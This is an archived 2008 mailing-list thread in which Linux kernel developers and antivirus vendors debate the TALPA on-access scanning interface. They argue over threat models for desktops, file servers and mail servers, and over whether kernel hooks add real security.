Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Eric Paris]

On Tue, 2008-08-05 at 17:11 -0700, Greg KH wrote:
> On Tue, Aug 05, 2008 at 07:48:52PM -0400, Eric Paris wrote:
> > On Wed, 2008-08-06 at 00:37 +0100, Al Viro wrote:
> > > On Tue, Aug 05, 2008 at 03:26:38PM -0700, Greg KH wrote:
> > > > On Tue, Aug 05, 2008 at 06:12:34PM -0400, Press, Jonathan wrote:
> > > > > Sorry for the top-post... but I give up.
> > > > >  
> > > > > I don't think I'm stupid, but frankly I don't understand the point of
> > > > > the questions being asked in the last three responses to my statement.
> > > > > I don't know why they are relevant, and I don't know how to answer
> > > > > them in a framework that we can all understand at the same time.
> > > 
> > > Excuse me?  One of those questions had been a very specific yes-or-no one
> > > and I certainly hope that we all can understand either answer to such...
> > > 
> > > For the record, the question is
> > > 
> > > "Do you or do you not expect the malware to be active on scanning host?"
> > 
> > I do believe for a number of AV vendors the answer is yes.  I will try
> > to have some offline conversations with the right people at a number of
> > vendors and work to better define the threats that they wish to or
> > believe they are able to help mitigate.
> 
> This is troubling to me.  Why "offline conversations"?  Why are you
> being forced to be the mediator here?  Why will these companies not
> contribute directly to the development of this code/model in public,
> like all other major Linux kernel contributions?

I'm going to be trying to get them to talk offline because obviously few
people from the AV industry are stepping up online.  I'm told we'll be
hearing from Sophos tomorrow and hopefully they will have read all of
today chatter and will form a coherent position.

> Isn't this the point of the malware-list in the first place?

Yes it is, hopefully if we can move parts of this conversation to
malware list the AV vendors will feel a bit less like this is an us
against them proposition and more like a collaborative effort.  From my
point of view I'd have to say that everyone has been refreshingly
polite   :)

> For them to hide behind _anyone_ seems very suspect.

I don't think its hiding, I'm attempting to bring these companies who
just don't understand how to work in public after years of building
walls along at a reasonable pace so noone feels they have to give up or
that finding a real solution is an impossible task.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Rik van Riel]

On Tue, 05 Aug 2008 20:25:29 -0400
Eric Paris <eparis@redhat.com> wrote:

> I don't think its hiding, I'm attempting to bring these companies who
> just don't understand how to work in public

That's not my worry.

My real worry is that the anti-virus companies have been working
with an enforcement policy that has been evolving slowly from the
DOS days, while today's threat model has changed considerably.

I do not see how the proposed hooks would close off a system
sufficiently to claim anything approaching security.

The way forward is to:
1) define a threat model
2) figure out what infrastructure is needed for protection
3) come up with interfaces that also help other software
   (eg. file range inotify to help disk indexing software)

Trying to shoe-horn the DOS anti-virus security model into a
multi-user operating system with networking may not be sufficient
protection for today's world.  Eg. it does not protect against
script virusses fetched off web sites and executed directly in
a browser, office suite or any gnome-vfs enabled program. This
is a major vulnerability in modern systems.

What problem are we really trying to solve?

Which problems are out of scope?

What infrastructure can solve the problem, while being useful 
for other things too?

-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Theodore Tso]

On Tue, Aug 05, 2008 at 08:46:00PM -0400, Rik van Riel wrote:
> My real worry is that the anti-virus companies have been working
> with an enforcement policy that has been evolving slowly from the
> DOS days, while today's threat model has changed considerably.

... and which also doesn't into account some of the facilities which
Linux has, that DOS/Windows does not have.

Part of the problem I suspect is that the AV folks have managed to get
CIO's believe that all computer systems need to have anti-virus
software, of the same design that is needed for DOS/Windows systems.
This state of delusion is so bad that apparently some AV engineers
aren't even willing to reason from first principles what is necessary
or not to maintain a secure system.

And arguably, if the goal is security theater, much like the security
lines in airports, perhaps it doesn't matter.  If there are silly
CIO's that are willing to pay for such a thing, regardless of whether
or not it is actually *necessary* to maintain security, one school of
capitalism would say it doesn't matter if it actually provides any
functional value or not.

On the other hand, it seems pretty clear there are plenty of LKML
developers who aren't buying it.  :-)

It may be helpful to separate the threat model into at least three
different scenarios:

	The Linux Desktop (where clueless users may be tricked into
		running malware).

	The Linux File Server (where it is *highly* unlikely to have
		active running malware, since there are no clueless
		users running on said file server), but where malware
		may be stored and read over CIFS, NFS, etc.

	The Linux Mail server is really a restricted case of the Linux
		Fileserver; where the only way in is SMTP, and the
		only protocol out is IMAP/POP.  

Clamav arguably does a very nice job for the third case.  And the
number of ways in and out for a Linux fileserver is sufficiently small
(and there are no clueless users to start the malware program
running), that it's relatively easy to reason about.

In the Linux Desktop case, you do have to worry about clueless users,
but in general you don't have to worry about serving CIFS or NFS on
such boxes.

It seems that the AV folks are trying to argue for a worst case
scenario --- one where you have a clueless user, *and* you have a root
comproise, *and* it is also simultaneously serving as a high output
fileserver.  #1, I think it is questionable whether this is a
reasonable model, and #2, if root is compromised, no amount of
scanning software will helpyou, since the malware can simply directly
attach and disable the scanning software.

But it is specifically this sort of threat analysis and explicit
detailing of the assumptions of what capabilities the attacker has
which is critical for proceeding.  The fact at least one AV engineer
thinks it's pointless to do this sort of low-level design is
disappointing.

						- Ted

Re: [malware-list] Threat model for Unix Computers

[Jörg Ostertag]

Am Mittwoch, 6. August 2008 03:44 schrieb Theodore Tso:
> On Tue, Aug 05, 2008 at 08:46:00PM -0400, Rik van Riel wrote:

...

I'm trying to fill in some other thread models, not all directly related to 
virus-scanning, but if we want to get a complete anti-threat model for linux, 
we should take them into account too.
In addition I'll add some usage scenarios for later extracting some threat 
scenarios ...

Desktop-Users:
----------------------
> 	The Linux Desktop (where clueless users may be tricked into
> 		running malware).

I would add the chance of users exporting there locally stored Files via CIFS, 
SMB, http, ... for accessing them with there beloveled streaming clients.

Speaking of exporting Files from a Desktop PC  we should also take in account 
File-Sharing clients.

Some more examples of a Desktop Users desire would be:
	- copying Files to/from there PDA (BT,USB,WLAN)
	- sharing internet connection with there PDA (BT,USB,WLAN)

Another threads would be:
	- giving access to the Desktop-PC to guest-users for
		 "just let me look up something in the internet"
	  and the guest-user on the Desktop not informing about the (in his point of
	  view) urgent installation of there beloved 
	  Browser-malware^H^H^H^H^H -adware ^H^H^H^H^H -extention

For all the Files stored on the Desktop PC we should also take in account, 
that the paranoid Desktop user would store them inside a crypted 
device/container. Some examples would be: truecrypt-container/-partition, 
External crypted Harddrive, ...

... speaking of storing Files I would expect even Desktop Homeusers to store 
there Files on a local mini Fileserver (like a Fritz-Box, NSLU2, ...) to 
share them with other devices like Multimedia players, ...

Notebook-Users:
------------------------
And then we have the Linux Notebook users. I separate these from the Desktop 
users, because they will have most of the Scenarios for Desktop users plus 
some additional treats.
	- Connecting to random accesspoints (Airports, Hotels, ...)
	- Exporting there Wireless (BT,WLAN,UMTS, ...) to random people. Sometimes
	  willingly, sometimes unwillingly
	- leaving there Notebooks unattended
		- without Bios password
		- without HDD-encrytion
		- without Boot-Manager Password
		- without screenlock
		- ...

Linux Desktops in public places:
--------------------------------------------
I'm thinking of Linux Desktop PCs in places like Internet-Cafe, 
Public-Library, School, ...
These would be similar to the Standard Linux Desktop but adding some 
additional threats.
	- willingly trying to attack the PC with physical access to 
		- CD-Rom
		- USB-Devices
			USB-Stick
			Card Reader
		- Network cable
		- Floppy drive (if still existing)
		- Reset Button
	

> 	The Linux File Server (where it is *highly* unlikely to have
> 		active running malware, since there are no clueless
> 		users running on said file server), but where malware
> 		may be stored and read over CIFS, NFS, etc.

Maybe it "was" unlikely, but you can see more and more 
(Now-)Unix-administrators originally used to other operating systems and with 
a different view to security. So it would be nice if we would be able to 
protect these users/admins/installations too. 

Mail-Proxy:
--------------
> 	The Linux Mail server is really a restricted case of the Linux
> 		Fileserver; where the only way in is SMTP, and the
> 		only protocol out is IMAP/POP.

I would add SMTP for the outgoing channel too.


Web-Proxy:
----------------
Only to complete the list:
              The Linux Web Proxy is another example of a Linux Server.
		The way in would be http traffic (mostly over port
		80 and 443) and the way out will be either over a shared
		proxy port or offered transparent if the Linux machine is used 
		as router.

In my opinion all good webproxies with scanner already provide a pretty good 
solution here.



-- 
Jörg Ostertag - Manager UNIX SW Development - Avira GmbH
Phone: +49 (0) 7542/500-500
Fax:   +49 (0) 7542/500-576
Lindauer Str. 21, D-88069 Tettnang, Germany, http://www.avira.com
PGP Key-ID: 0x46BDEF37

Geschäftsführender Gesellschafter: Tjark Auerbach
Sitz der Gesellschaft: Tettnang
Handelsregister: Amtsgericht Ulm, HRB 630992

ALLGEMEINE GESCHÄFTSBEDINGUNGEN
Es gelten unsere Allgemeinen Geschäftsbedingungen
(AGB). Sie finden sie in der jeweils gültigen Fassung
im Internet unter http://www.avira.de/agb
***************************************************

Re: [malware-list] Threat model for Unix Computers

[Peter Dolding]

On Fri, Aug 8, 2008 at 8:48 PM, Jörg Ostertag <Joerg.Ostertag@avira.com> wrote:
> Am Mittwoch, 6. August 2008 03:44 schrieb Theodore Tso:
>> On Tue, Aug 05, 2008 at 08:46:00PM -0400, Rik van Riel wrote:
>
> ...
>
> I'm trying to fill in some other thread models, not all directly related to
> virus-scanning, but if we want to get a complete anti-threat model for linux,
> we should take them into account too.
> In addition I'll add some usage scenarios for later extracting some threat
> scenarios ...
>
> Desktop-Users:
> ----------------------
>>       The Linux Desktop (where clueless users may be tricked into
>>               running malware).
>
> I would add the chance of users exporting there locally stored Files via CIFS,
> SMB, http, ... for accessing them with there beloveled streaming clients.
>
> Speaking of exporting Files from a Desktop PC  we should also take in account
> File-Sharing clients.
>
> Some more examples of a Desktop Users desire would be:
>        - copying Files to/from there PDA (BT,USB,WLAN)
>        - sharing internet connection with there PDA (BT,USB,WLAN)
>
> Another threads would be:
>        - giving access to the Desktop-PC to guest-users for
>                 "just let me look up something in the internet"
>          and the guest-user on the Desktop not informing about the (in his point of
>          view) urgent installation of there beloved
>          Browser-malware^H^H^H^H^H -adware ^H^H^H^H^H -extention
>
> For all the Files stored on the Desktop PC we should also take in account,
> that the paranoid Desktop user would store them inside a crypted
> device/container. Some examples would be: truecrypt-container/-partition,
> External crypted Harddrive, ...
>
> ... speaking of storing Files I would expect even Desktop Homeusers to store
> there Files on a local mini Fileserver (like a Fritz-Box, NSLU2, ...) to
> share them with other devices like Multimedia players, ...
>
> Notebook-Users:
> ------------------------
> And then we have the Linux Notebook users. I separate these from the Desktop
> users, because they will have most of the Scenarios for Desktop users plus
> some additional treats.
>        - Connecting to random accesspoints (Airports, Hotels, ...)
>        - Exporting there Wireless (BT,WLAN,UMTS, ...) to random people. Sometimes
>          willingly, sometimes unwillingly
>        - leaving there Notebooks unattended
>                - without Bios password
>                - without HDD-encrytion
>                - without Boot-Manager Password
>                - without screenlock
>                - ...
>
> Linux Desktops in public places:
> --------------------------------------------
> I'm thinking of Linux Desktop PCs in places like Internet-Cafe,
> Public-Library, School, ...
> These would be similar to the Standard Linux Desktop but adding some
> additional threats.
>        - willingly trying to attack the PC with physical access to
>                - CD-Rom
>                - USB-Devices
>                        USB-Stick
>                        Card Reader
>                - Network cable
>                - Floppy drive (if still existing)
>                - Reset Button
>
>
>>       The Linux File Server (where it is *highly* unlikely to have
>>               active running malware, since there are no clueless
>>               users running on said file server), but where malware
>>               may be stored and read over CIFS, NFS, etc.
>
> Maybe it "was" unlikely, but you can see more and more
> (Now-)Unix-administrators originally used to other operating systems and with
> a different view to security. So it would be nice if we would be able to
> protect these users/admins/installations too.
>
> Mail-Proxy:
> --------------
>>       The Linux Mail server is really a restricted case of the Linux
>>               Fileserver; where the only way in is SMTP, and the
>>               only protocol out is IMAP/POP.
>
> I would add SMTP for the outgoing channel too.
>
>
> Web-Proxy:
> ----------------
> Only to complete the list:
>              The Linux Web Proxy is another example of a Linux Server.
>                The way in would be http traffic (mostly over port
>                80 and 443) and the way out will be either over a shared
>                proxy port or offered transparent if the Linux machine is used
>                as router.
>
> In my opinion all good webproxies with scanner already provide a pretty good
> solution here.
>
>
Software Conflits
------------------------
Anti-virus Software conflicting with other secuirty software.  This is
a design issue on Windows and some of the hooks different companies
have tried to develop for the Linux world.

Linux systems can have HIDS and other non anti-virus monitoring
software.   On windows realtime scanning can be crippled if you
install 2 anti-viruses at a time due to stuffing up each others hooks.
  We need to avoid this on Linux.  There is more that will want to
monitor the same things as a Antivirus on Linux looking for different
kinds of problems.   Yes the first platform where 1 alone running does
not cut it.

Peter Dolding

Re: [malware-list] Threat model for Unix Computers

[david]

On Fri, 8 Aug 2008, J?rg Ostertag wrote:

> Another threads would be:
> 	- giving access to the Desktop-PC to guest-users for
> 		 "just let me look up something in the internet"
> 	  and the guest-user on the Desktop not informing about the (in his point of
> 	  view) urgent installation of there beloved
> 	  Browser-malware^H^H^H^H^H -adware ^H^H^H^H^H -extention

if you give the guest user access to your account this is the same as the 
clueless desktop user.

if you make a new account for that user the standard *nix permissions and 
user seperation come to your rescue, they may infect that temporary 
account, but that won't infect the normal user.

David Lang

Re: [malware-list] Threat model for Unix Computers

[Ulrich Drepper]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain; charset=UTF-8, Size: 756 bytes --]

On Fri, Aug 8, 2008 at 3:48 AM, Jörg Ostertag <Joerg.Ostertag@avira.com> wrote:>        - giving access to the Desktop-PC to guest-users for>                 "just let me look up something in the internet">          and the guest-user on the Desktop not informing about the (in his point of>          view) urgent installation of there beloved>          Browser-malware^H^H^H^H^H -adware ^H^H^H^H^H -extention
Install the xguest package on Fedora (yum install xguest), use thefast user switch applet, and be done:
http://dwalsh.fedorapeople.org/xguest/
http://danwalsh.livejournal.com/14778.htmlÿôèº{.nÇ+‰·Ÿ®‰­†+%ŠËÿ±éݶ\x17¥Šwÿº{.nÇ+‰·¥Š{±þG«éÿŠ{ayº\x1dʇڙë,j\a­¢f£¢·hšïêÿ‘êçz_è®\x03(­éšŽŠÝ¢j"ú\x1a¶^[m§ÿÿ¾\a«þG«éÿ¢¸?™¨è­Ú&£ø§~á¶iO•æ¬z·švØ^\x14\x04\x1a¶^[m§ÿÿÃ\fÿ¶ìÿ¢¸?–I¥

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Theodore Tso]

On Tue, Aug 05, 2008 at 06:12:34PM -0400, Press, Jonathan wrote:
>  
> I don't think I'm stupid, but frankly I don't understand the point
> of the questions being asked in the last three responses to my
> statement.  I don't know why they are relevant, and I don't know how
> to answer them in a framework that we can all understand at the same
> time.  What is my threat model?  Naively stated, it is that there is
> a file on a machine that might do damage, either there or elsewhere,
> and I want to find it and get rid of it in the most efficient way.
> I am not defining the nature of the damage or the mechanism.

This is actually quite shocking to me.  You don't know how to define
the threat model?  And you call yourself in the security business?
Read some books or essays by Bruce Schneier.  A good one might be his
recent book, "Beyond Fear: Thinking Sensibly About Security In An
Uncertain World".

The naive refusal to think about threat models is why we have to
submit to really insane, useless, "security theater" every time we get
on an Airplane and have to take off our shoes and throw our bottleed
water into a huge heap in front of the security line.  (If they really
thought the water bottles could contain explosives, why leave them in
a huge pile in front of the TSA employees.  :-)

If the goal is to get make we are proof against malware, we need to be
very clear about the whys and wherefores about how the file might have
gotten there.  And if you are going to be serving that file a million
times a day, does it really make sense to block the open a million
times a day, or do you make sure that you notice when it gets
corrupted in the first place?

And security is not an absolute.  Just as the terrorists win if it can
induce the White House to shred the constitution and force us all to
live in a constant state of fear, it is also pointless to induce
people to install software that horrifically slows down their server
so badly that you can't get anything done.

If people in the AV industry don't know how to think about threat
models, it says a lot about their competence as security engineers.
And I say this as someone who was team lead of Kerberos at MIT, and
was the chair of the IP Security working group at the IETF (the
standards body for the Internet), and who has served on the Security
Area Directorate (alongside Bruce Schneier) at the IETF.

     		 	    	  	       	   - Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Pavel Machek]

> On Tue, Aug 05, 2008 at 06:12:34PM -0400, Press, Jonathan wrote:
> >  
> > I don't think I'm stupid, but frankly I don't understand the point
> > of the questions being asked in the last three responses to my
> > statement.  I don't know why they are relevant, and I don't know how
> > to answer them in a framework that we can all understand at the same
> > time.  What is my threat model?  Naively stated, it is that there is
> > a file on a machine that might do damage, either there or elsewhere,
> > and I want to find it and get rid of it in the most efficient way.
> > I am not defining the nature of the damage or the mechanism.
> 
> This is actually quite shocking to me.  You don't know how to define
> the threat model?  And you call yourself in the security business?
> Read some books or essays by Bruce Schneier.  A good one might be his
> recent book, "Beyond Fear: Thinking Sensibly About Security In An
> Uncertain World".
> 
> The naive refusal to think about threat models is why we have to
> submit to really insane, useless, "security theater" every time we get
> on an Airplane and have to take off our shoes and throw our bottleed
> water into a huge heap in front of the security line.  (If they really
> thought the water bottles could contain explosives, why leave them in
> a huge pile in front of the TSA employees.  :-)

Actually it is better. When I travelled from brussels they were so
busy confiscating water from me that they missed a knife ;-).

> If the goal is to get make we are proof against malware, we need to be
> very clear about the whys and wherefores about how the file might have
> gotten there.  And if you are going to be serving that file a million
> times a day, does it really make sense to block the open a million
> times a day, or do you make sure that you notice when it gets
> corrupted in the first place?

Well, I'm afraid that AV industry with its "lets enumerate badness"
model... just does not protect against anything at all...

Maybe we should be thinking more like "only ever run exectuables from
trusted sources" -- like from your distro -- ? Fortunately that's the
way most linux users work today.
								Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[Al Viro]

On Tue, Aug 05, 2008 at 05:23:39PM -0400, Press, Jonathan wrote:

> [JON PRESS]  So how would that work?  The FTP server would have code
> that called into someone's AV SDK (maybe CA's, maybe not) and scanned
> the file before sending.  OK.  What about all the thousands of other
> applications that might access a file and send it somewhere, or copy it
> somewhere.  They should all do the same thing, right?  How do we make
> that happen?  That's the whole point of centralizing the control (the
> notification, blocking and waiting -- not the actual scanning, of
> course) in the kernel.  The scan becomes unavoidable -- and that is the
> definition (OK, a definition) of true security.

Give me a break...  There's nothing to stop you from doing that as
a stackable fs, cachefs-based filesystem, fuse-based filesystem,
CODA with trimmed-down server that does scan-on-commit, et sodding cetera.

Again, do you or do you not expect the malware to be active on scanning
host?  Yes or no, please.

These two variants are so fundamentally different that discussion without
clearly indicating which variant you are currently talking about is absolutely
pointless.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 02:38:23PM -0400, Press, Jonathan wrote:
> >> I think you might be missing the point a bit here, as the traditional
> Unix model that 
> >> Linux has prevents much of what the "traditional AV" products need to
> do, right?
> 
> Is your point that Linux and Unix machines are less vulnerable to
> viruses?  If so, that's not relevant to my point at all.  A Unix machine
> can be a carrier, passing infections on to other vulnerable platforms
> (guess which one).

So you are going to try to force us to take something into the Linux
kernel due to the security inadiquacies of a totally different operating
system?  You might want to rethink that argument :)

> An enterprise security system sees the entire enterprise as an
> integrated whole -- not just individual machines with their own
> separate attributes and no impact on each other at all.

I agree, but as others have pointed out, you don't need to do this in
the kernel, you can do it from userspace today (samba has hooks for this
for that "other" operating system already).

thanks,

greg k-h

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Greg KH [mailto:greg@kroah.com] 
Sent: Tuesday, August 05, 2008 4:18 PM
To: Press, Jonathan
Cc: Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforon access scanning

On Tue, Aug 05, 2008 at 02:38:23PM -0400, Press, Jonathan wrote:
> >> I think you might be missing the point a bit here, as the
traditional
> Unix model that 
> >> Linux has prevents much of what the "traditional AV" products need
to
> do, right?
> 
> Is your point that Linux and Unix machines are less vulnerable to
> viruses?  If so, that's not relevant to my point at all.  A Unix
machine
> can be a carrier, passing infections on to other vulnerable platforms
> (guess which one).

So you are going to try to force us to take something into the Linux
kernel due to the security inadiquacies of a totally different operating
system?  You might want to rethink that argument :)

[JON PRESS]  On the contrary...you might want to rethink your reaction.
The security inadequacies of that other operating system that happens to
have a 90+% market sure are exactly why Linux and other OS's that
coexist with it should be more conscious of their own interactions with
it.  Enterprises that see Linux as a potential breeding ground for
infestations are less likely to tolerate Linux in their environment.
Why do you think we have so many customers who have a corporate mandate
to have AV software on all machines, no matter what platform type?



thanks,
greg k-h

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Eric Paris]

On Tue, 2008-08-05 at 16:28 -0400, Press, Jonathan wrote:
> -----Original Message-----
> From: Greg KH [mailto:greg@kroah.com] 
> Sent: Tuesday, August 05, 2008 4:18 PM
> To: Press, Jonathan
> Cc: Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
> malware-list@lists.printk.net; linux-security-module@vger.kernel.org
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
> alinuxinterfaceforon access scanning
> 
> On Tue, Aug 05, 2008 at 02:38:23PM -0400, Press, Jonathan wrote:
> > >> I think you might be missing the point a bit here, as the
> traditional
> > Unix model that 
> > >> Linux has prevents much of what the "traditional AV" products need
> to
> > do, right?
> > 
> > Is your point that Linux and Unix machines are less vulnerable to
> > viruses?  If so, that's not relevant to my point at all.  A Unix
> machine
> > can be a carrier, passing infections on to other vulnerable platforms
> > (guess which one).
> 
> So you are going to try to force us to take something into the Linux
> kernel due to the security inadiquacies of a totally different operating
> system?  You might want to rethink that argument :)
> 
> [JON PRESS]  On the contrary...you might want to rethink your reaction.
> The security inadequacies of that other operating system that happens to
> have a 90+% market sure are exactly why Linux and other OS's that
> coexist with it should be more conscious of their own interactions with
> it.  Enterprises that see Linux as a potential breeding ground for
> infestations are less likely to tolerate Linux in their environment.
> Why do you think we have so many customers who have a corporate mandate
> to have AV software on all machines, no matter what platform type?

I don't think the pissing contest is going to get us anywhere.  I think
Jon might want to realize that the linux kernel is not driven by
business needs, we are driven by technical correctness and technical
necessity.  lkml isn't a place where you wave a bag of money and say "do
you want to be in the data center, do as I say."  Techies always win,
not business.  I think Greg needs to realize that not all of the AV
vendors are being or want to be difficult, thick, or stubborn.  I would
like to point out for the community's enjoyment that much of the heavy
lifting here has been done by one of these vendors who is currently
using the above mentioned horrible hacks to make their product work
(although at least I believe GPL horrible hacks).  Most all of the black
magic vendors agree they want to work towards a real upstream solution
so lets try to find it, not just build walls and get defensive.

I personally agree with Greg that I don't care if its 'hard' to get all
the information you need to do your job as long as it is reasonable and
sustainable.  I think this interface is both and I'm going to be looking
for numbers to show it over the next couple of days.

I think Alan and I have both described how greater linux security can be
gained through this interface compared to glibc or LD_PRELOAD even if it
isn't perfect security.  I certainly don't make the claim that all
malware (for any OS) is going to get stopped dead in its tracks.  But
then again I also haven't heard any vendor say "we don't look for any
linux malware."  Even if the majority of their business is driven by
"that other OS" it doesn't mean that software on linux is without flaws
and we don't have attackable programs.  Would any vendor who does this
type of work stand up and say how your product may have stopped or been
able to stop a vulnerability that would have been impossible in
userspace.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Arjan van de Ven]

On Tue, 05 Aug 2008 16:51:07 -0400
Eric Paris <eparis@redhat.com> wrote:

> I think Alan and I have both described how greater linux security can
> be gained through this interface compared to glibc or LD_PRELOAD even
> if it isn't perfect security.  

I guess I missed that.

I will fully subscribe to the idea that  "the LD_PRELOAD way assumes you
have a good->bad transition" might not be fully bullet proof (after
all, if your init is compromised you won't have this transition)

but what else is the actual gap?

-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Rik van Riel]

On Tue, 5 Aug 2008 14:38:23 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> However, I will say that while preventing infections from arriving is
> not foolproof, doing a scan-on-close with the option to delete or
> quarantine an infected file goes a long way.

How can you, as a security professional, argue for a security measure
that you know is flawed, when there is a mailing list full of people
willing to help figure out what a working security measure would look
like?

Yes, abandoning some of the old DOS anti-virus security model may
cause work, but surely that will be worth it if it leads to a more
secure system?

-- 
All rights reversed.

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Rik van Riel [mailto:riel@redhat.com] 
Sent: Tuesday, August 05, 2008 8:51 PM
To: Press, Jonathan
Cc: Greg KH; Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
linuxinterfaceforon access scanning

On Tue, 5 Aug 2008 14:38:23 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> However, I will say that while preventing infections from arriving is
> not foolproof, doing a scan-on-close with the option to delete or
> quarantine an infected file goes a long way.

How can you, as a security professional, argue for a security measure
that you know is flawed, when there is a mailing list full of people
willing to help figure out what a working security measure would look
like?

Yes, abandoning some of the old DOS anti-virus security model may cause
work, but surely that will be worth it if it leads to a more secure
system?


[JON PRESS]  I hesitate to join back in the discussion, because so far I
haven't been very successful.  I know that my level of technical depth
is not at all the equal of just about everybody else in this
conversation.  That's not my job and I don't claim to have the answers
to all the questions that are being raised.

However...  This question about arguing for a flawed security technique
is a good one, and in a way it gets to the heart of the philosophy of
security.  Scan-on-close is admittedly incomplete as an anti-virus tool.
But I don't agree that that make it flawed.   It is part of a repertoire
of techniques for preventing malware from residing on a machine.

Let's take a simplistic and unrealistic example.  Let's suppose that you
knew that there were 20 applications on your machine that had buffer
overflow vulnerabilities that could be exploited, and you had a fix for
18 of them.  Would you decide not to apply the fixes, because that meant
that there would still be 2 left -- and because theoretically there is a
way to prevent all buffer overflows from being exploited and there is a
mailing list full of people trying to figure out how to do it.

I think if it as being like the Sieve of Eratosthenes.  The further down
you go, the more numbers drop out.  In AV scanning, each step of the way
removes some percentage of the harmful files, and closes the window of
time that they have to operate or migrate.  Or maybe it's like spraying
insecticide when there is an outbreak of some deadly mosquito-borne
illness.  Without getting into the political issues about spraying,
because this is JUST AN EXAMPLE -- would you not spray because 5% of the
bugs would still be left behind?  Wouldn't you then spray again, because
you wipe out another 95%?

If this were not the case, why would so many of our customers run
scheduled system scans on a regular basis in addition to scanning on use
and scanning on close?  There are several reasons, including the
constant evolution of malware, the possibility that a machine's
protection was temporarily disabled for some reason, etc.  The point is
that catching malware as close to the time it is written as possible is
a net gain that adds to the overall level of protection.

Hopefully, in addition to discussing the particular question that was
raised in Rik's email, this also sheds some light on how I look at the
overall problem -- i.e., from a higher more conceptual level of
functionality and value, rather than the low-level technical specifics.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Peter Dolding]

On Wed, Aug 6, 2008 at 10:10 PM, Press, Jonathan <Jonathan.Press@ca.com> wrote:
> -----Original Message-----
> From: Rik van Riel [mailto:riel@redhat.com]
> Sent: Tuesday, August 05, 2008 8:51 PM
> To: Press, Jonathan
> Cc: Greg KH; Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
> malware-list@lists.printk.net; linux-security-module@vger.kernel.org
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
> linuxinterfaceforon access scanning
>
> On Tue, 5 Aug 2008 14:38:23 -0400
> "Press, Jonathan" <Jonathan.Press@ca.com> wrote:
>
>> However, I will say that while preventing infections from arriving is
>> not foolproof, doing a scan-on-close with the option to delete or
>> quarantine an infected file goes a long way.
>
> How can you, as a security professional, argue for a security measure
> that you know is flawed, when there is a mailing list full of people
> willing to help figure out what a working security measure would look
> like?
>
> Yes, abandoning some of the old DOS anti-virus security model may cause
> work, but surely that will be worth it if it leads to a more secure
> system?
>
>
> [JON PRESS]  I hesitate to join back in the discussion, because so far I
> haven't been very successful.  I know that my level of technical depth
> is not at all the equal of just about everybody else in this
> conversation.  That's not my job and I don't claim to have the answers
> to all the questions that are being raised.
>
> However...  This question about arguing for a flawed security technique
> is a good one, and in a way it gets to the heart of the philosophy of
> security.  Scan-on-close is admittedly incomplete as an anti-virus tool.
> But I don't agree that that make it flawed.   It is part of a repertoire
> of techniques for preventing malware from residing on a machine.
>
> Let's take a simplistic and unrealistic example.  Let's suppose that you
> knew that there were 20 applications on your machine that had buffer
> overflow vulnerabilities that could be exploited, and you had a fix for
> 18 of them.  Would you decide not to apply the fixes, because that meant
> that there would still be 2 left -- and because theoretically there is a
> way to prevent all buffer overflows from being exploited and there is a
> mailing list full of people trying to figure out how to do it.
>
This buffer overflow risk and other equals are why LSM's exist.   It
put jails around applications so they cannot do any more than they are
meant to.   Its called risk reduction something that is most likely a
new idea to people coming from a windows background.   It also makes
exploiting a flawed applicaiton tricky.  Do something that application
should not normally do it will be blocked and trip the LSM alarm that
could be set to straight up terminate the offending application.   Yes
a true shot on sign of trouble system.  This is what you anti-virus
guys call behaviour monitoring same system some anti-virus software
uses to detect unknown viruses.

So 2 left should never happen since we have at least a part fix for
all of them.   This is how it has to work.   Failure is not a option
in our eyes.   If you have a percent missed that is a failure of there
is not something else to prevent damage.  We are not Windows users
with weak setup systems.   We don't want weak distributions out there.
 Nice if some anti-virus products started demanding a min standard LSM
to run side by side with them.

LSM's are already embedded core system exploitation prevention.

LSM currently don't extend deep enough into users to really tighten
completely down on the Users account.

So far I have not found a exact list of what is needed by AV or
Malware companies that say LSM stacking is needed.  That says stacked
LSM's are needed.

So I will bring a few things to the table.  Number one LSB is working
on a common packaging API using DBUS based off policy kit.   So
malware application installers run in users own account and to install
into the system have to go threw a scan able interface.   So far I
have not seen AV companies there working in improving the design.
Prevention beats cure.

This reduces a issue of malware to the Users own account without heavy
handed scanning.

So scanning becomes reduced to user editable files.

Linux firewall supports user mode modules so antivirus can scan
network traffic and use built in firewall to monitor for malware.

File scanning look no deeper than fusefs.
